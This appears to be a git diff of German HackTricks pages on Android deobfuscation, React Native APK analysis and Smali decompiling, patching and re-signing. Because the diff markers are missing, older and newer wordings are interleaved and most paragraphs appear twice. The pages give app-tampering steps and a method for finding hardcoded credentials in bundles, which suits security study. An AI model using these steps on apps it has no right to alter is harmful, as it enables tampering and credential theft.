- **Java und nativer Code**: Eine andere Methode besteht darin, den De-Obfuscation-Algorithmus in eine Skriptsprache wie Python zu übersetzen. Diese Strategie verdeutlicht, dass das Hauptziel nicht darin besteht, den Algorithmus vollständig zu verstehen, sondern ihn effektiv auszuführen.
- **DEX-Bytecode (Java)**: Ein effektiver Ansatz besteht darin, die Deobfuskationsmethoden der Anwendung zu identifizieren und diese Methoden dann in einer Java-Datei zu replizieren. Diese Datei wird ausgeführt, um die Obfuskation der Ziel-Elemente rückgängig zu machen.
- **Java und nativer Code**: Eine weitere Methode besteht darin, den Deobfuskationsalgorithmus in eine Skriptsprache wie Python zu übersetzen. Diese Strategie hebt hervor, dass das Hauptziel nicht darin besteht, den Algorithmus vollständig zu verstehen, sondern ihn effektiv auszuführen.
### Erkennung von Obfuscation
### **Erkennung von Obfuskation**
Die Erkennung von verschleiertem Code ist der erste Schritt im De-Obfuscation-Prozess. Zu den wichtigsten Indikatoren gehören:
Die Erkennung von obfuskiertem Code ist der erste Schritt im Deobfuskationsprozess. Wichtige Indikatoren sind:
- Das **Fehlen oder Verschleiern von Zeichenketten** in Java und Android, was auf eine Zeichenketten-Verschleierung hinweisen kann.
- Das **Vorhandensein von Binärdateien** im Assets-Verzeichnis oder Aufrufe von `DexClassLoader`, die auf Code-Entpackung und dynamisches Laden hinweisen.
- Die Verwendung von **nativen Bibliotheken zusammen mit nicht identifizierbaren JNI-Funktionen**, was auf eine mögliche Verschleierung nativer Methoden hinweist.
- Das **Fehlen oder die Verwirrung von Strings** in Java und Android, was auf String-Obfuskation hindeuten kann.
- Die **Präsenz von Binärdateien** im Assets-Verzeichnis oder Aufrufe an `DexClassLoader`, die auf das Entpacken von Code und dynamisches Laden hinweisen.
- Die Verwendung von **nativen Bibliotheken zusammen mit nicht identifizierbaren JNI-Funktionen**, was auf eine potenzielle Obfuskation von nativen Methoden hinweist.
## Dynamische Analyse in der De-Obfuscation
## **Dynamische Analyse in der Deobfuskation**
Durch die Ausführung des Codes in einer kontrollierten Umgebung ermöglicht die dynamische Analyse die Beobachtung des Verhaltens des verschleierten Codes in Echtzeit. Diese Methode ist besonders effektiv, um die Funktionsweise komplexer Verschleierungsmuster aufzudecken, die darauf abzielen, die eigentliche Absicht des Codes zu verbergen.
Durch die Ausführung des Codes in einer kontrollierten Umgebung ermöglicht die dynamische Analyse **die Beobachtung, wie sich der obfuskierten Code in Echtzeit verhält**. Diese Methode ist besonders effektiv, um die inneren Abläufe komplexer Obfuskationsmuster aufzudecken, die darauf ausgelegt sind, die wahre Absicht des Codes zu verbergen.
### Anwendungen der dynamischen Analyse
### **Anwendungen der dynamischen Analyse**
- **Laufzeitentschlüsselung**: Viele Verschleierungstechniken beinhalten die Verschlüsselung von Zeichenketten oder Code-Segmenten, die erst zur Laufzeit entschlüsselt werden. Durch die dynamische Analyse können diese verschlüsselten Elemente zum Zeitpunkt der Entschlüsselung erfasst werden, um ihre wahre Form aufzudecken.
- **Erkennung von Obfuscationstechniken**: Durch die Überwachung des Verhaltens der Anwendung kann die dynamische Analyse helfen, spezifische verwendete Obfuscationstechniken zu identifizieren, wie z.B. Code-Virtualisierung, Packer oder dynamische Code-Generierung.
- **Aufdecken versteckter Funktionalitäten**: Verschleierter Code kann versteckte Funktionalitäten enthalten, die allein durch statische Analyse nicht offensichtlich sind. Die dynamische Analyse ermöglicht die Beobachtung aller Code-Pfade, einschließlich der bedingt ausgeführten Pfade, um solche versteckten Funktionalitäten aufzudecken.
- **Laufzeit-Dekodierung**: Viele Obfuskationstechniken beinhalten die Verschlüsselung von Strings oder Code-Segmenten, die nur zur Laufzeit entschlüsselt werden. Durch dynamische Analyse können diese verschlüsselten Elemente zum Zeitpunkt der Entschlüsselung erfasst werden, wodurch ihre wahre Form sichtbar wird.
- **Identifizierung von Obfuskationstechniken**: Durch die Überwachung des Verhaltens der Anwendung kann die dynamische Analyse helfen, spezifische Obfuskationstechniken zu identifizieren, die verwendet werden, wie z.B. Code-Virtualisierung, Packager oder dynamische Code-Generierung.
- **Aufdeckung versteckter Funktionalitäten**: Obfuskierter Code kann versteckte Funktionalitäten enthalten, die durch statische Analyse allein nicht offensichtlich sind. Die dynamische Analyse ermöglicht die Beobachtung aller Code-Pfade, einschließlich der bedingt ausgeführten, um solche versteckten Funktionalitäten aufzudecken.
## Referenzen und weiterführende Literatur
* [https://maddiestone.github.io/AndroidAppRE/obfuscation.html](https://maddiestone.github.io/AndroidAppRE/obfuscation.html)
* BlackHat USA 2018: "Unpacking the Packed Unpacker: Reverse Engineering an Android Anti-Analysis Library" \[[Video](https://www.youtube.com/watch?v=s0Tqi7fuOSU)]
* Dieser Vortrag behandelt die Reverse Engineering einer der komplexesten Anti-Analyse-Native-Bibliotheken, die ich bei einer Android-Anwendung gesehen habe. Er behandelt hauptsächlich Verschleierungstechniken im nativen Code.
* REcon 2019: "The Path to the Payload: Android Edition" \[[Video](https://recon.cx/media-archive/2019/Session.005.Maddie_Stone.The_path_to_the_payload_Android_Edition-J3ZnNl2GYjEfa.mp4)]
* Dieser Vortrag behandelt eine Reihe von Verschleierungstechniken, ausschließlich im Java-Code, die von einem Android-Botnetz verwendet wurden, um sein Verhalten zu verbergen.
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
</details>
* BlackHat USA 2018: “Unpacking the Packed Unpacker: Reverse Engineering an Android Anti-Analysis Library” \[[Video](https://www.youtube.com/watch?v=s0Tqi7fuOSU)]
* Dieser Vortrag behandelt das Reverse Engineering einer der komplexesten Anti-Analyse-nativen Bibliotheken, die ich in einer Android-Anwendung gesehen habe. Es behandelt hauptsächlich Obfuskationstechniken im nativen Code.
* REcon 2019: “The Path to the Payload: Android Edition” \[[Video](https://recon.cx/media-archive/2019/Session.005.Maddie_Stone.The_path_to_the_payload_Android_Edition-J3ZnNl2GYjEfa.mp4)]
* Dieser Vortrag diskutiert eine Reihe von Obfuskationstechniken, die ausschließlich im Java-Code verwendet wurden, um das Verhalten eines Android-Botnets zu verbergen.

View file

@ -1,62 +1,64 @@
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories** senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}
# Analyse der React Native-Anwendung
# Analyse von React Native Anwendungen
Um zu bestätigen, ob die Anwendung auf dem React Native-Framework erstellt wurde, befolgen Sie diese Schritte:
Um zu bestätigen, ob die Anwendung auf dem React Native Framework basiert, befolgen Sie diese Schritte:
1. Benennen Sie die APK-Datei mit einer Zip-Erweiterung um und extrahieren Sie sie in einen neuen Ordner mit dem Befehl `cp com.example.apk example-apk.zip` und `unzip -qq example-apk.zip -d ReactNative`.
2. Navigieren Sie zum neu erstellten ReactNative-Ordner und suchen Sie den assets-Ordner. In diesem Ordner sollten Sie die Datei `index.android.bundle` finden, die den React-JavaScript-Code in minifizierter Form enthält.
2. Navigieren Sie zum neu erstellten ReactNative-Ordner und suchen Sie den Ordner assets. In diesem Ordner sollten Sie die Datei `index.android.bundle` finden, die das React JavaScript in minifizierter Form enthält.
3. Verwenden Sie den Befehl `find . -print | grep -i ".bundle$"` , um nach der JavaScript-Datei zu suchen.
3. Verwenden Sie den Befehl `find . -print | grep -i ".bundle$"` um die JavaScript-Datei zu suchen.
Um den JavaScript-Code weiter zu analysieren, erstellen Sie eine Datei namens `index.html` im selben Verzeichnis mit folgendem Code:
Um den JavaScript-Code weiter zu analysieren, erstellen Sie eine Datei mit dem Namen `index.html` im selben Verzeichnis mit folgendem Code:
```html
<script src="./index.android.bundle"></script>
```
Sie können die Datei unter [https://spaceraccoon.github.io/webpack-exploder/](https://spaceraccoon.github.io/webpack-exploder/) hochladen oder folgen Sie diesen Schritten:
Sie können die Datei auf [https://spaceraccoon.github.io/webpack-exploder/](https://spaceraccoon.github.io/webpack-exploder/) hochladen oder diese Schritte befolgen:
1. Öffnen Sie die Datei `index.html` in Google Chrome.
1. Öffnen Sie die `index.html`-Datei in Google Chrome.
2. Öffnen Sie die Entwicklertools, indem Sie **Command+Option+J für OS X** oder **Control+Shift+J für Windows** drücken.
3. Klicken Sie auf "Quellen" in den Entwicklertools. Sie sollten eine JavaScript-Datei sehen, die in Ordner und Dateien aufgeteilt ist und den Hauptbundle bildet.
3. Klicken Sie auf "Sources" in den Entwicklertools. Sie sollten eine JavaScript-Datei sehen, die in Ordner und Dateien unterteilt ist und das Hauptbündel bildet.
Wenn Sie eine Datei namens `index.android.bundle.map` finden, können Sie den Quellcode im unminifizierten Format analysieren. Karten-Dateien enthalten Quellzuordnungen, mit denen Sie minifizierte Bezeichner zuordnen können.
Wenn Sie eine Datei namens `index.android.bundle.map` finden, können Sie den Quellcode in einem unminifizierten Format analysieren. Map-Dateien enthalten Quellzuordnungen, die es Ihnen ermöglichen, minifizierte Bezeichner zuzuordnen.
Um nach sensiblen Anmeldeinformationen und Endpunkten zu suchen, befolgen Sie diese Schritte:
1. Identifizieren Sie sensible Schlüsselwörter, um den JavaScript-Code zu analysieren. React Native-Anwendungen verwenden oft Drittanbieterdienste wie Firebase, AWS S3-Service-Endpunkte, private Schlüssel usw.
1. Identifizieren Sie sensible Schlüsselwörter, um den JavaScript-Code zu analysieren. React Native-Anwendungen verwenden häufig Drittanbieterdienste wie Firebase, AWS S3-Dienstendpunkte, private Schlüssel usw.
2. In diesem speziellen Fall wurde festgestellt, dass die Anwendung den Dialogflow-Dienst verwendet. Suchen Sie nach einem Muster, das mit seiner Konfiguration zusammenhängt.
2. In diesem speziellen Fall wurde beobachtet, dass die Anwendung den Dialogflow-Dienst verwendet. Suchen Sie nach einem Muster, das mit seiner Konfiguration zusammenhängt.
3. Es war glücklicherweise möglich, sensible fest codierte Anmeldeinformationen im JavaScript-Code während des Recherchevorgangs zu finden.
3. Es war günstig, dass während des Recon-Prozesses sensible hartcodierte Anmeldeinformationen im JavaScript-Code gefunden wurden.
## Referenzen
## References
* [https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7](https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}

View file

@ -1,89 +1,90 @@
# Smali - Dekompilieren/\[Modifizieren]/Kompilieren
# Smali - Decompiling/\[Modifying]/Compiling
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Manchmal ist es interessant, den Anwendungscode zu modifizieren, um auf versteckte Informationen zuzugreifen (vielleicht gut verschleierte Passwörter oder Flags). In diesem Fall kann es interessant sein, die APK zu dekompilieren, den Code zu modifizieren und ihn anschließend neu zu kompilieren.
Manchmal ist es interessant, den Anwendungscode zu modifizieren, um versteckte Informationen für dich zugänglich zu machen (vielleicht gut obfuskierte Passwörter oder Flags). Dann könnte es interessant sein, die apk zu dekompilieren, den Code zu modifizieren und ihn neu zu kompilieren.
**Opcodes-Referenz:** [http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html)
**Opcodes reference:** [http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html)
## Schneller Weg
Mit **Visual Studio Code** und der Erweiterung [APKLab](https://github.com/APKLab/APKLab) können Sie die Anwendung automatisch dekompilieren, den Code modifizieren, neu kompilieren, signieren und installieren, ohne einen Befehl auszuführen.
Mit **Visual Studio Code** und der [APKLab](https://github.com/APKLab/APKLab) Erweiterung kannst du die Anwendung **automatisch dekompilieren**, modifizieren, **neu kompilieren**, signieren und installieren, ohne einen Befehl auszuführen.
Ein weiteres **Skript**, das diese Aufgabe sehr erleichtert, ist [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)
Ein weiteres **Skript**, das diese Aufgabe erheblich erleichtert, ist [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)
## APK dekompilieren
## Dekompiliere die APK
Mit APKTool können Sie auf den **Smali-Code und die Ressourcen** zugreifen:
Mit APKTool kannst du auf den **smali-Code und Ressourcen** zugreifen:
```bash
apktool d APP.apk
```
Wenn **apktool** einen Fehler anzeigt, versuchen Sie, die **neueste Version** zu installieren.
Einige **interessante Dateien, auf die Sie achten sollten**, sind:
Einige **interessante Dateien, die Sie sich ansehen sollten, sind**:
* _res/values/strings.xml_ (und alle xml-Dateien in res/values/\*)
* _res/values/strings.xml_ (und alle xmls in res/values/\*)
* _AndroidManifest.xml_
* Jede Datei mit der Erweiterung _.sqlite_ oder _.db_
Wenn `apktool` **Probleme beim Dekodieren der Anwendung** hat, werfen Sie einen Blick auf [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files) oder versuchen Sie, das Argument **`-r`** zu verwenden (Ressourcen nicht dekodieren). Wenn das Problem in einer Ressource und nicht im Quellcode lag, haben Sie das Problem nicht (Sie dekodieren auch nicht die Ressourcen).
Wenn `apktool` **Probleme beim Dekodieren der Anwendung** hat, schauen Sie sich [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files) an oder versuchen Sie, das Argument **`-r`** zu verwenden (Ressourcen nicht dekodieren). Wenn das Problem in einer Ressource und nicht im Quellcode lag, haben Sie das Problem nicht (Sie dekodieren auch nicht die Ressourcen).
## Ändern des Smali-Codes
## Ändern Sie den Smali-Code
Sie können **Anweisungen ändern**, den **Wert** einiger Variablen ändern oder neue Anweisungen **hinzufügen**. Ich ändere den Smali-Code mit [**VS Code**](https://code.visualstudio.com). Sie installieren dann die **smalise-Erweiterung** und der Editor zeigt Ihnen an, ob eine **Anweisung falsch ist**.\
Sie können **Anweisungen ändern**, den **Wert** einiger Variablen ändern oder **neue Anweisungen hinzufügen**. Ich ändere den Smali-Code mit [**VS Code**](https://code.visualstudio.com), installieren Sie dann die **smalise-Erweiterung** und der Editor wird Ihnen sagen, ob eine **Anweisung falsch ist**.\
Einige **Beispiele** finden Sie hier:
* [Beispiele für Smali-Änderungen](smali-changes.md)
* [Google CTF 2018 - Shall We Play a Game?](google-ctf-2018-shall-we-play-a-game.md)
Oder Sie können [**unten einige erklärte Smali-Änderungen überprüfen**](smali-changes.md#modifying-smali).
Oder Sie können [**unten einige Smali-Änderungen erklärt überprüfen**](smali-changes.md#modifying-smali).
## APK neu kompilieren
## Kompilieren Sie die APK neu
Nachdem Sie den Code geändert haben, können Sie den Code mit folgendem Befehl **neu kompilieren**:
Nachdem Sie den Code geändert haben, können Sie den Code mit **recompilen**:
```bash
apktool b . #In the folder generated when you decompiled the application
```
Es wird die neue APK im Ordner _**dist**_ **kompilieren**.
Es wird die neue APK **im** _**dist**_ Ordner **kompilieren**.
Wenn **apktool** einen **Fehler** wirft, versuchen Sie, die **neueste Version** zu installieren.
Wenn **apktool** einen **Fehler** ausgibt, versuche[ die **neueste Version**](https://ibotpeaches.github.io/Apktool/install/) zu installieren.
### **Signieren Sie die neue APK**
### **Signiere die neue APK**
Dann müssen Sie einen **Schlüssel generieren** (Sie werden nach einem Passwort und einigen Informationen gefragt, die Sie zufällig ausfüllen können):
Dann musst du einen **Schlüssel** **generieren** (du wirst nach einem Passwort und einigen Informationen gefragt, die du zufällig ausfüllen kannst):
```bash
keytool -genkey -v -keystore key.jks -keyalg RSA -keysize 2048 -validity 10000 -alias <your-alias>
```
Schließlich **signieren** Sie die neue APK-Datei:
Schließlich **signiere** die neue APK:
```bash
jarsigner -keystore key.jks path/to/dist/* <your-alias>
```
### Optimiere die neue Anwendung
### Neue Anwendung optimieren
**zipalign** ist ein Archivausrichtungswerkzeug, das wichtige Optimierungen für Android-Anwendungsdateien (APK) bietet. [Weitere Informationen hier](https://developer.android.com/studio/command-line/zipalign).
**zipalign** ist ein Archiv-Ausrichtungswerkzeug, das wichtige Optimierungen für Android-Anwendungsdateien (APK) bietet. [Weitere Informationen hier](https://developer.android.com/studio/command-line/zipalign).
```bash
zipalign [-f] [-v] <alignment> infile.apk outfile.apk
zipalign -v 4 infile.apk
```
### **Signiere die neue APK (erneut?)**
### **Signiere die neue APK (noch einmal?)**
Wenn du **lieber** [**apksigner**](https://developer.android.com/studio/command-line/) anstelle von jarsigner verwenden möchtest, **solltest du die APK** nach der Anwendung der **Optimierung mit** zipalign signieren. ABER BEACHTE, DASS DU DIE ANWENDUNG NUR EINMAL MIT jarsigner (vor zipalign) ODER MIT apksigner (nach zipalign) **SIGNIEREN MUSST**.
Wenn du **bevorzugst**, [**apksigner**](https://developer.android.com/studio/command-line/) anstelle von jarsigner zu verwenden, **solltest du die apk signieren**, nachdem du **die Optimierung mit** zipalign angewendet hast. ABER BEACHTE, DASS DU DIE ANWENDUNG NUR EINMAL **SIGNIEREN MUSST** MIT jarsigner (vor zipalign) ODER MIT apksigner (nach zipalign).
```bash
apksigner sign --ks key.jks ./dist/mycompiled.apk
```
## Ändern von Smali
## Modifying Smali
Für den folgenden Hello World Java-Code:
```java
@ -107,7 +108,7 @@ Der Smali-Befehlssatz ist [hier](https://source.android.com/devices/tech/dalvik/
### Ändern der Anfangswerte einer Variablen innerhalb einer Funktion
Einige Variablen werden zu Beginn der Funktion mit dem Opcode _const_ definiert. Sie können ihre Werte ändern oder neue Variablen definieren:
Einige Variablen werden zu Beginn der Funktion mit dem Opcode _const_ definiert. Sie können deren Werte ändern oder neue definieren:
```bash
#Number
const v9, 0xf4240
@ -116,18 +117,6 @@ const/4 v8, 0x1
const-string v5, "wins"
```
### Grundlegende Operationen
#### Ändern von Smali-Code
Um eine Android-App zu hacken, müssen wir den Smali-Code ändern. Smali ist eine Assemblersprache für die Dalvik Virtual Machine (DVM), die von Android verwendet wird. Hier sind einige grundlegende Operationen, die wir durchführen können:
- **Ändern von Konstanten**: Wir können die Werte von Konstanten ändern, um das Verhalten der App zu beeinflussen.
- **Ändern von Methodenaufrufen**: Wir können Methodenaufrufe ändern, um die App dazu zu bringen, andere Funktionen auszuführen oder bestimmte Bedingungen zu umgehen.
- **Ändern von Variablen**: Wir können Variablenwerte ändern, um das Verhalten der App zu beeinflussen.
- **Hinzufügen von Code**: Wir können zusätzlichen Code einfügen, um neue Funktionen zur App hinzuzufügen oder vorhandenen Code zu erweitern.
- **Entfernen von Code**: Wir können Code entfernen, um bestimmte Funktionen der App zu deaktivieren oder zu umgehen.
Diese grundlegenden Operationen ermöglichen es uns, den Smali-Code einer Android-App zu manipulieren und sie für unsere Zwecke anzupassen. Es ist wichtig, vorsichtig vorzugehen und die Auswirkungen unserer Änderungen zu verstehen, um unerwünschte Nebenwirkungen zu vermeiden.
```bash
#Math
add-int/lit8 v0, v2, 0x1 #v2 + 0x1 and save it in v0
@ -163,17 +152,17 @@ invoke-static {v5, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/Strin
```
Empfehlungen:
* Wenn Sie deklarierte Variablen innerhalb der Funktion verwenden möchten (deklariert v0, v1, v2...), platzieren Sie diese Zeilen zwischen _.local \<Zahl>_ und den Deklarationen der Variablen (_const v0, 0x1_)
* Wenn Sie den Protokollierungscode in der Mitte des Codes einer Funktion platzieren möchten:
* Wenn Sie deklarierte Variablen innerhalb der Funktion verwenden möchten (deklarierte v0,v1,v2...), setzen Sie diese Zeilen zwischen die _.local \<number>_ und die Deklarationen der Variablen (_const v0, 0x1_)
* Wenn Sie den Logging-Code in die Mitte des Codes einer Funktion einfügen möchten:
* Fügen Sie 2 zur Anzahl der deklarierten Variablen hinzu: z.B. von _.locals 10_ zu _.locals 12_
* Die neuen Variablen sollten die nächsten Zahlen der bereits deklarierten Variablen sein (in diesem Beispiel sollten es _v10_ und _v11_ sein, denken Sie daran, dass es mit v0 beginnt).
* Ändern Sie den Code der Protokollierungsfunktion und verwenden Sie _v10_ und _v11_ anstelle von _v5_ und _v1_.
* Die neuen Variablen sollten die nächsten Zahlen der bereits deklarierten Variablen sein (in diesem Beispiel sollten es _v10_ und _v11_ sein, denken Sie daran, dass es bei v0 beginnt).
* Ändern Sie den Code der Logging-Funktion und verwenden Sie _v10_ und _v11_ anstelle von _v5_ und _v1_.
### Toasten
### Toasting
Denken Sie daran, 3 zur Anzahl der _.locals_ am Anfang der Funktion hinzuzufügen.
Denken Sie daran, 3 zur Anzahl der _.locals_ zu Beginn der Funktion hinzuzufügen.
Dieser Code ist darauf vorbereitet, in der **Mitte einer Funktion** eingefügt zu werden (**ändern** Sie die Anzahl der **Variablen** bei Bedarf). Er nimmt den **Wert von this.o**, **wandelt** ihn in einen **String** um und **zeigt** dann einen **Toast** mit seinem Wert an.
Dieser Code ist vorbereitet, um in die **Mitte einer Funktion** eingefügt zu werden (**ändern** Sie die Anzahl der **Variablen** nach Bedarf). Er wird den **Wert von this.o** nehmen, ihn in **String** **transformieren** und dann einen **Toast** mit seinem Wert **machen**.
```bash
const/4 v10, 0x1
const/4 v11, 0x1
@ -185,16 +174,17 @@ invoke-static {p0, v11, v12}, Landroid/widget/Toast;->makeText(Landroid/content/
move-result-object v12
invoke-virtual {v12}, Landroid/widget/Toast;->show()V
```
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
